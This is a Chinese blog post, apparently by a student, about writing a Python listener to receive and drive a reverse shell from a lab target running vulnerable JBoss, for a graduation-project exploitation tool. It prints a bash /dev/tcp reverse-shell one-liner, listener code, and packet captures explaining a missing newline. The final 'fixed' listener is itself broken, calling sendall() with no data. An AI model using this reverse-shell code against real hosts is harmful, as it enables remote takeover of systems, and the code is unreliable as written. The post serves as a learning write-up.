毕设做的是漏洞扫描与利用工具,工具是用python写的,可以向目标组件发送构建好的payload。但是,这时候遇到一个难题,即python如何获取目标主机的反弹shell,并与这个反弹shell的连接进行交互。当然,我们可以利用NC等工具来获取,这样更方便,但是毕设里如果要靠NC去完成这件事,那未免也太low了一点。我在网上查了很多的资料,但大多没有这方面的描述,有也是利用subprocess开一个新进程去调用NC(这和直接用有什么区别),或者用第三方库去获取(也没有准确描述是哪个库和怎么使用)
环境搭建
环境:
攻击主机(搭载python):192.168.0.160
目标主机(搭载Linux和一个有漏洞的JBoss组件):192.168.0.190
目标主机运行代码
bash -i >& /dev/tcp/192.168.0.160/65533 0>&1
python代码
错误示例
其实和正确的代码差别不是很大,但运行以下代码,会发现python虽然可以获取到来自目标主机的反弹shell连接,但是发送到目标主机上的shell指令并不会被执行
import socket
# 用于监听的主机和端口
HOST = '192.168.0.160'
PORT = 65533
def start_listener():
# 创建一个TCP socket
listener_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定地址和端口
listener_socket.bind((HOST, PORT))
# 监听连接
listener_socket.listen(1)
print(f"Listening for connections on {HOST}:{PORT}")
# 接受连接并处理
client_socket,client_address = listener_socket.accept()
print(f"Received connection from {client_address[0]}: {client_address[1]}")
# 与客户端进行交互
while True:
command = input("Enter command: ")
# 发送命令给目标主机
client_socket.sendall(command.encode())
# 接收响应
response = client_socket.recv(4096).decode()
print(response)
# 关闭连接
client_socket.close()
listener_socket.close()
# 启动监听程序
start_listener()
分析过程
利用wireshark分别对NC和Python获取的连接进行分析
// 这是NC每次发送给目标主机的数据包
0000 00 0c 29 06 82 2c b0 25 aa 58 36 a9 08 00 45 00 ..)..,.%.X6...E.
0010 00 3b 33 3d 40 00 80 06 00 00 c0 a8 00 a0 c0 a8 .;3=@...........
0020 00 be ff fe a2 fe 4c 04 b7 28 bf 06 f6 4b 80 18 ......L..(...K..
0030 20 03 82 dc 00 00 01 01 08 0a 2f 68 7e 95 00 0b ........./h~...
0040 b7 cb 77 68 6f 61 6d 69 0a ..whoami.
// 这是上述Python代码每次发送给目标主机的数据包
0000 00 0c 29 06 82 2c b0 25 aa 58 36 a9 08 00 45 00 ..)..,.%.X6...E.
0010 00 3a 33 86 40 00 80 06 00 00 c0 a8 00 a0 c0 a8 .:3.@...........
0020 00 be ff fd 9a 50 92 8a 0f d4 29 28 0f 2e 80 18 .....P....)(....
0030 20 03 82 db 00 00 01 01 08 0a 2f 6c 5f 72 00 0f ........./l_r..
0040 d2 4f 77 68 6f 61 6d 69 .Owhoami
抛去以太网层,IP层数据,可以看到DATA并没有特别大的区别,唯一的区别就是NC的末尾有0a而Python的末尾没有,0a在ASCII中是换行符的意思。这也就是为什么上述python代码发送的指令,目标主机并没有执行的原因(目标主机一直在等待一个换行符,来确定要执行的指令(我猜的))
解决方法
将字符串指令转换为16进制,并在末尾拼接上一个0a即可
字符串指令构建方法:
def command_generate(command):
hex_data=''
for i in command:
hex=bytes(i,'utf-8').hex()
hex_data=hex_data+hex+' ' #逐个将字符转为16进制
hex_data=hex_data+'0a' #给末尾拼接上0a
bin_data=bytes.fromhex(hex_data) #转化为2进制流
return bin_data
发送函数:
import socket
# 用于监听的主机和端口
HOST = '192.168.0.160'
PORT = 65533
def start_listener():
# 创建一个TCP socket
listener_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 绑定地址和端口
listener_socket.bind((HOST, PORT))
# 监听连接
listener_socket.listen(1)
print(f"Listening for connections on {HOST}:{PORT}")
# 接受连接并处理
client_socket,client_address = listener_socket.accept()
print(f"Received connection from {client_address[0]}: {client_address[1]}")
# 与客户端进行交互
while True:
command = input("Enter command: ")
# 发送命令给目标主机
command=command_generate(command) #用我们的方法重新构建指令
client_socket.sendall()
# 接收响应
response = client_socket.recv(4096).decode()
print(response)
# 关闭连接
client_socket.close()
listener_socket.close()
# 启动监听程序
start_listener()
结尾
在做毕设时遇到的问题,和自己解决这个问题的过程,我很菜,希望各位大佬们可以提出批评,我一定好好学习